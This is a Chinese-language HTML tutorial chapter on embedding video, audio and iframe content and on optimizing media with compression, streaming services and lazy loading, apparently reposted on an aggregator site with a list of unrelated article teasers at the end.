《HTML 简易速速上手小册》第7章：HTML 多媒体与嵌入内容（2024 最新版）

在这里插入图片描述

文章目录

  • 7.1 在HTML中嵌入视频和音频
    • 7.1.1 基础知识
    • 7.1.2 案例 1：嵌入视频文件
    • 7.1.3 案例 2：嵌入音频文件
    • 7.1.4 案例 3：创建一个视频和音频混合的播放列表
  • 7.2 使用 `<iframe>` 嵌入外部内容
    • 7.2.1 基础知识
    • 7.2.2 案例 1：嵌入地图
    • 7.2.3 案例 2：嵌入视频
    • 7.2.4 案例 3：创建一个包含多个`<iframe>`的网页
  • 7.3 管理和优化多媒体内容
    • 7.3.1 基础知识
    • 7.3.2 案例 1：优化网页图像
    • 7.3.3 案例 2：使用视频流服务
    • 7.3.4 案例 3：懒加载图像

7.1 在HTML中嵌入视频和音频

7.1.1 基础知识

  • 视频和音频标签：HTML5引入了<video>和<audio>标签，让嵌入和播放媒体变得简单。就像在你的网页上安装了一个迷你影院和音乐厅。
  • 属性和格式：这些标签支持多种属性，比如controls、autoplay、loop，以及多种文件格式，确保不同的浏览器能播放你的媒体内容。
  • 源文件：使用<source>标签可以为不同的浏览器提供不同格式的视频和音频文件，保证更广泛的兼容性。

7.1.2 案例 1：嵌入视频文件

让我们开始嵌入一个视频文件。我们将为不同的浏览器提供不同格式的视频，并添加控件以供用户操作。

<!DOCTYPE html>
<html>
<head>
    <title>视频嵌入示例</title>
</head>
<body>
    <video width="320" height="240" controls>
        <source src="movie.mp4" type="video/mp4">
        <source src="movie.ogg" type="video/ogg">
        Your browser does not support the video tag.
    </video>
</body>
</html>

7.1.3 案例 2：嵌入音频文件

接下来，我们将在网页中嵌入一个音频文件，并添加一些基本控件。

<!DOCTYPE html>
<html>
<head>
    <title>音频嵌入示例</title>
</head>
<body>
    <audio controls>
        <source src="audio.mp3" type="audio/mpeg">
        <source src="audio.ogg" type="audio/ogg">
        Your browser does not support the audio element.
    </audio>
</body>
</html>

7.1.4 案例 3：创建一个视频和音频混合的播放列表

最后，我们来点挑战性的任务：创建一个包含视频和音频的播放列表，让用户可以从列表中选择他们想看或听的内容。

<!DOCTYPE html>
<html>
<head>
    <title>混合播放列表</title>
</head>
<body>
    <h1>我的播放列表</h1>
    <video id="mediaPlayer" width="320" height="240" controls>
        <source src="movie.mp4" type="video/mp4">
        Your browser does not support the video tag.
    </video>
    <audio id="mediaPlayer" controls>
        <source src="audio.mp3" type="audio/mpeg">
        Your browser does not support the audio element.
    </audio>

    <ul>
        <li onclick="playMedia('movie.mp4', 'video/mp4')">视频 1</li>
        <li onclick="playMedia('movie2.mp4', 'video/mp4')">视频 2</li>
        <li onclick="playMedia('audio.mp3', 'audio/mpeg')">音频 1</li>
    </ul>

    <script>
        function playMedia(file, type) {
            var player = document.getElementById('mediaPlayer');
            player.src = file;
            player.type = type;
            player.load();
            player.play();
        }
    </script>
</body>
</html>

通过这些案例，你将能够掌握在网页中嵌入和控制视频及音频的基础技能。从简单的嵌入到创建播放列表，这些知识让你的网站变得更加生动有趣，仿佛赋予了它生命。记住，视觉和听觉的结合可以极大地提升用户体验，所以尽情地利用这些工具吧！

在这里插入图片描述

7.2 使用 <iframe> 嵌入外部内容

7.2.1 基础知识

  • <iframe>简介：<iframe>（内联框架）是一个HTML元素，它允许您在当前HTML页面上嵌入另一个HTML页面。想象一下，在你的网页上有一个小窗口，可以看到另一个网站的内容。
  • 使用场景：<iframe>经常用于嵌入如视频、地图、或者其他网站的页面。它就像是网页中的“迷你视窗”，允许用户在不离开当前页面的情况下浏览其他内容。
  • 属性：<iframe>支持多种属性，包括src（指定嵌入内容的来源）、width和height（设置框架的大小）、frameborder（设置边框的宽度）等。

7.2.2 案例 1：嵌入地图

假设您想在您的网站上嵌入一个地图，以显示某个地点。

<!DOCTYPE html>
<html>
<head>
    <title>嵌入地图示例</title>
</head>
<body>
    <h1>广州天河体育中心</h1>
    <iframe
        width="600"
        height="450"
        frameborder="0" style="border:0"
        src="https://map.baidu.com/search/%E5%A4%A9%E6%B2%B3%E4%BD%93%E8%82%B2%E4%B8%AD%E5%BF%83/@12616001.349751737,2632395.62058975,18.43z?querytype=s&da_src=shareurl&wd=%E5%A4%A9%E6%B2%B3%E4%BD%93%E8%82%B2%E4%B8%AD%E5%BF%83&c=257&src=0&wd2=%E5%B9%BF%E5%B7%9E%E5%B8%82%E5%A4%A9%E6%B2%B3%E5%8C%BA&pn=0&sug=1&l=13&b=(12582963,2611508;12664883,2653716)&from=webmap&biz_forward=%7B%22scaler%22:2,%22styles%22:%22pl%22%7D&sug_forward=ef23bc7692da590ff4e73ba4&device_ratio=2"
        allowfullscreen>
    </iframe>
</body>
</html>

7.2.3 案例 2：嵌入视频

接下来，让我们在网页中嵌入一个YouTube视频。

<!DOCTYPE html>
<html>
<head>
    <title>嵌入视频示例</title>
</head>
<body>
    <h1>观看我们的视频</h1>
    <iframe
        width="560"
        height="315"
        src="http://t.cn/A6jUEkYB"
        frameborder="0"
        allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
        allowfullscreen>
    </iframe>
</body>
</html>

7.2.4 案例 3：创建一个包含多个<iframe>的网页

最后，我们来创建一个包含多个<iframe>的网页，比如同时嵌入视频、地图和另一个网站的新闻文章。

<!DOCTYPE html>
<html>
<head>
    <title>多重嵌入示例</title>
</head>
<body>
    <h1>了解更多</h1>
    <iframe
        width="560"
        height="315"
        src="http://t.cn/A6jUEkYB"
        frameborder="0"
        allowfullscreen>
    </iframe>
    <iframe
        width="600"
        height="450"
        src="https://map.baidu.com/search/%E5%A4%A9%E6%B2%B3%E4%BD%93%E8%82%B2%E4%B8%AD%E5%BF%83/@12616001.349751737,2632395.62058975,18.43z?querytype=s&da_src=shareurl&wd=%E5%A4%A9%E6%B2%B3%E4%BD%93%E8%82%B2%E4%B8%AD%E5%BF%83&c=257&src=0&wd2=%E5%B9%BF%E5%B7%9E%E5%B8%82%E5%A4%A9%E6%B2%B3%E5%8C%BA&pn=0&sug=1&l=13&b=(12582963,2611508;12664883,2653716)&from=webmap&biz_forward=%7B%22scaler%22:2,%22styles%22:%22pl%22%7D&sug_forward=ef23bc7692da590ff4e73ba4&device_ratio=2s"
        frameborder="0"
        allowfullscreen>
    </iframe>
    <iframe
        width="100%"
        height="500"
        src="https://example.com/news-article"
        frameborder="0">
    </iframe>
</body>
</html>

通过这些案例，您可以看到<iframe>如何让您在一个网页中方便地展示来自不同来源的内容。使用<iframe>可以大大增强您的网页的功能性和互动性，让用户在访问您的网站时享受更加丰富的体验。
在这里插入图片描述

7.3 管理和优化多媒体内容

7.3.1 基础知识

  • 多媒体内容的挑战：虽然多媒体内容可以让网站更加生动有趣，但它们也可能导致网页加载时间变长，影响用户体验。
  • 优化图像：对于图像，使用正确的格式（如JPEG、PNG、WEBP）和压缩技术可以显著减少文件大小，而不损失太多质量。
  • 视频和音频的优化：对于视频和音频，考虑使用流媒体服务，或者预加载技术来平衡加载时间和播放性能。

7.3.2 案例 1：优化网页图像

假设您的网站有很多高分辨率的图像，我们将通过减少它们的大小来优化加载时间。

<!DOCTYPE html>
<html>
<head>
    <title>图像优化示例</title>
</head>
<body>
    <h1>我的摄影作品</h1>
    <img src="optimized-image1.jpg" alt="优化后的图像1">
    <img src="optimized-image2.jpg" alt="优化后的图像2">
    <img src="optimized-image3.jpg" alt="优化后的图像3">
</body>
</html>

在这个示例中，假设optimized-image1.jpg、optimized-image2.jpg和optimized-image3.jpg是原始图像经过压缩和大小调整后的版本。

7.3.3 案例 2：使用视频流服务

让我们嵌入一个视频，但这次我们使用视频流服务，如YouTube或Vimeo，以减少主机服务器的负担。

<!DOCTYPE html>
<html>
<head>
    <title>视频流服务示例</title>
</head>
<body>
    <h1>观看我们的视频</h1>
    <iframe
        width="560"
        height="315"
        src="http://t.cn/A6jUEkYB"
        frameborder="0"
        allowfullscreen>
    </iframe>
</body>
</html>

7.3.4 案例 3：懒加载图像

在这个示例中，我们将应用“懒加载”技术，这意味着图像只会在用户滚动到它们时才加载。

<!DOCTYPE html>
<html>
<head>
    <title>懒加载图像示例</title>
    <script>
        document.addEventListener("DOMContentLoaded", function() {
            var lazyImages = [].slice.call(document.querySelectorAll("img.lazy"));

            if ("IntersectionObserver" in window) {
                let lazyImageObserver = new IntersectionObserver(function(entries, observer) {
                    entries.forEach(function(entry) {
                        if (entry.isIntersecting) {
                            let lazyImage = entry.target;
                            lazyImage.src = lazyImage.dataset.src;
                            lazyImage.classList.remove("lazy");
                            lazyImageObserver.unobserve(lazyImage);
                        }
                    });
                });

                lazyImages.forEach(function(lazyImage) {
                    lazyImageObserver.observe(lazyImage);
                });
            }
        });
    </script>
</head>
<body>
    <h1>浏览我的作品</h1>
    <img class="lazy" data-src="image1.jpg" alt="我的作品1">
    <img class="lazy" data-src="image2.jpg" alt="我的作品2">
    <img class="lazy" data-src="image3.jpg" alt="我的作品3">
</body>
</html>

在这些案例中，我们展示了如何优化和管理网站的多媒体内容，确保用户体验不受大文件加载时间的影响。从图像压缩到视频流服务，再到懒加载技术，这些方法都是提高网站性能的有效手段。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/357565.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

基于数字签名技术的挑战/响应式认证方式

基于数字签名技术的挑战/响应式认证方式

挑战/响应式认证方式简便灵活&#xff0c;实现起来也比较容易。当网络需要验证用户身份时&#xff0c;客户端向服务器提出登录请求&#xff1b;当服务器接收到客户端的验证请求时&#xff0c;服务器端向客户端发送一个随机数&#xff0c;这就是这种认证方式的“冲击&#xff08…
阅读更多...
ArcGIS Pro如何新建字段

ArcGIS Pro如何新建字段

无论是地图制作还是数据分析&#xff0c;字段的操作是必不可少的&#xff0c;在某些时候现有的字段不能满足需求还需要新建字段&#xff0c;这里为大家讲解一下在ArcGIS Pro中怎么新建字段&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的数据是从水经微图中下载的水…
阅读更多...
响应式商业服务专利版权申请 公司网站模板源码系统 带完整的搭建教程

响应式商业服务专利版权申请 公司网站模板源码系统 带完整的搭建教程

随着互联网的普及和发展&#xff0c;企业对于建立专业、高效的网站的需求日益增长。为了满足这一市场需求&#xff0c;罗峰给大家分享一款响应式商业服务专利版权申请公司网站模板源码系统。该系统不仅功能强大&#xff0c;而且易于搭建和定制&#xff0c;极大地降低了企业建立…
阅读更多...
单片机学习笔记---定时器计数器（含寄存器）工作原理介绍（详解篇2）

单片机学习笔记---定时器计数器（含寄存器）工作原理介绍（详解篇2）

目录 T1工作在方式2时 T0工作在方式3时 四种工作方式的总结 定时计数器对输入信号的要求 定时计数器对的编程的一个要求 关于初值计算的问题 4种工作方式的最大定时时间的大小 关于编程方式的问题 实例分析 实例1 实例2 T1工作在方式2时 51单片机&#xff0c;有两个…
阅读更多...
python3.8 安装缺少ssl、_ctypes模块解决办法

python3.8 安装缺少ssl、_ctypes模块解决办法

问题 安装pyhton3.8安装默认不依赖ssl 运行Flask项目时报错&#xff1a; Traceback (most recent call last):File "/usr/local/python3/bin/flask", line 8, in <module>sys.exit(main())File "/usr/local/python3/lib/python3.8/site-packages/flask…
阅读更多...
C语言递归篇章+系统讲解分析+深入理解递归+根源进行讲解+进制转换+操作环境+实例剖析+万字+百张图片精细化讲解

C语言递归篇章+系统讲解分析+深入理解递归+根源进行讲解+进制转换+操作环境+实例剖析+万字+百张图片精细化讲解

递归的讲解系统分析 什么是递归 本质上就是一种算法 最简单递归 栈溢出 没有限制条件 导致无穷尽的调用自己 从而溢出 最后变成死递归 _________________________________________________________________________________________________________________________________…
阅读更多...
SAP MM 采购发票输入税额，模拟时候发现没有税科目记账税额！

SAP MM 采购发票输入税额，模拟时候发现没有税科目记账税额！

原因&#xff1a;行项目税额和抬头不一样导致&#xff0c;以下是调整过的截图&#xff0c;原来底下是J2
阅读更多...
去中心化世界的奇迹：深度解析Web3

去中心化世界的奇迹：深度解析Web3

随着科技的飞速发展&#xff0c;我们正逐渐进入一个新的数字时代&#xff0c;而Web3技术正是这个时代的奇迹之一。本文将深入解析Web3&#xff0c;揭示它在构建去中心化世界方面的深远影响以及给我们带来的可能性。 什么是Web3&#xff1f; Web3是互联网的第三个时代&#xff…
阅读更多...
低代码数字孪生平台

低代码数字孪生平台

老子云平台 老子云平台专注于3D资源服务与应用在Web页面上的极致展示&#xff08;渲染与交互&#xff09; 老子云平台架构 核心优势-AMRT标准格式 2022年6月&#xff0c;在国家科技部科技成果鉴定中心的成果评定中&#xff0c;AMRT标准被评为国际先进成果&#xff0c;AMRT格式…
阅读更多...
TCP常用端口号

TCP常用端口号

知识改变命运&#xff0c;技术就是要分享&#xff0c;有问题随时联系&#xff0c;免费答疑&#xff0c;欢迎联系&#xff01; 厦门微思网络​​​​​​https://www.xmws.cn 华为认证\华为HCIA-Datacom\华为HCIP-Datacom\华为HCIE-Datacom 思科认证\CCNA\CCNP\CCIE Linux\RHCE\…
阅读更多...
Git安装，Git镜像，Git已安装但无法使用解决经验

Git安装，Git镜像，Git已安装但无法使用解决经验

git下载地址&#xff1a; Git - 下载 (git-scm.com) <-git官方资源 Git for Windows (github.com) <-github资源 CNPM Binaries Mirror (npmmirror.com) <-阿里镜像&#xff08;推荐&#xff0c;镜…
阅读更多...
shell脚本——函数与数组

shell脚本——函数与数组

目录 一、函数 1、什么是函数&#xff1f; 2、函数的定义与调用 2.1 函数的格式 2.2 函数的调用方法 3 、查看与删除函数 3.1 查看函数 3.2 删除函数 4、函数的返回值 5、函数的传参数 6、函数的作用范围 7、函数的递归 二、数组 1、什么是数组&#xff1f; 2、数…
阅读更多...
【数据结构】（一）从绪论到各种线性表

【数据结构】（一）从绪论到各种线性表

目录 一、绪论Introduction 1、数据结构 2、逻辑结构&#xff08;数据元素之间的相互关系&#xff09; 3、物理结构&#xff08;数据逻辑结构在计算机中的存储形式&#xff09; 4、数据类型&#xff08;一组性质相同的值的集合及定义在此集合上的一些操作的总称&#xff09…
阅读更多...
mysql之基本查询

mysql之基本查询

基本查询 一、SELECT 查询语句 一、SELECT 查询语句 查询所有列 1 SELECT *FORM emp;查询指定字段 SELECT empno,ename,job FROM emp;给字段取别名 SELECT empno 员工编号 FROM emp; SELECT empno 员工编号,ename 姓名,job 岗位 FROM emp; SELECT empno AS 员工编号,ename …
阅读更多...
数据结构-数组(详细讲解)

数据结构-数组(详细讲解)

文章目录 数组数组的概述数组的图示一维数组二维数组 数组的定义一维数组的定义二维数组的定义 数组的取值赋值一维数组二维数组 数组的操作一维数组的操作索引实现指针实现 二位数组的操作矩阵转三元组矩阵的乘法 数组 数组的概述 概述&#xff1a;数组是一种线性数据结构&a…
阅读更多...
【机器学习300问】21、什么是激活函数？常见激活函数都有哪些？

【机器学习300问】21、什么是激活函数？常见激活函数都有哪些？

在我写的上一篇文章中介绍了感知机&#xff08;单个神经元&#xff09;的构成&#xff0c;其中就谈到了神经元会计算传送过来的信号的总和&#xff0c;只有当这个总和超过了某个界限值时&#xff0c;才会输出值。这也称为“神经元被激活”。如果想对神经网络是什么有更多了解的…
阅读更多...
网络防御保护——课程笔记

网络防御保护——课程笔记

一.防火墙 防火墙的主要职责&#xff1a;控制和防护 --- 安全策略 --- 防火墙可以根据安全策略来抓取流量之后做出对应的动作。 防火墙的分类 防火墙的发展进程 防火墙的控制 带内管理 --- 通过网络环境对设备进行控制 --- telnet&#xff0c;ssh&#xff0c;web --- 登录设备…
阅读更多...
【Go 快速入门】包及依赖管理 | Go 第三方包发布 | 接口 | 反射

【Go 快速入门】包及依赖管理 | Go 第三方包发布 | 接口 | 反射

文章目录 包和依赖管理依赖管理go modgo get go.mod 文件go.sum 文件Go Modules 发布包 接口空接口接口值类型断言 反射reflect.TypeOfreflect.ValueOf结构体反射 项目代码地址&#xff1a;04-PackageInterfaceReflection 包和依赖管理 Go 使用包来支持代码模块化和代码复用&…
阅读更多...
【Django开发】前后端分离美多商城项目：项目准备和搭建（附代码，文档）

【Django开发】前后端分离美多商城项目：项目准备和搭建（附代码，文档）

本系列文章md笔记&#xff08;已分享&#xff09;主要讨论django商城项目开发相关知识。本项目利用Django框架开发一套前后端不分离的商城项目&#xff08;4.0版本&#xff09;含代码和文档。功能包括前后端不分离&#xff0c;方便SEO。采用Django Jinja2模板引擎 Vue.js实现…
阅读更多...
分表过多引起的问题/Apache ShardingSphere元数据加载慢

分表过多引起的问题/Apache ShardingSphere元数据加载慢

目录 环境 背景 探寻 元数据的加载策略 如何解决 升级版本到5.x 调大max.connections.size.per.query max.connections.size.per.query分析 服务启动阶段相关源码 服务运行阶段相关源码 受到的影响 注意事项&#xff08;重要&#xff09; 其他 环境 Spring Boot 2…
阅读更多...
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站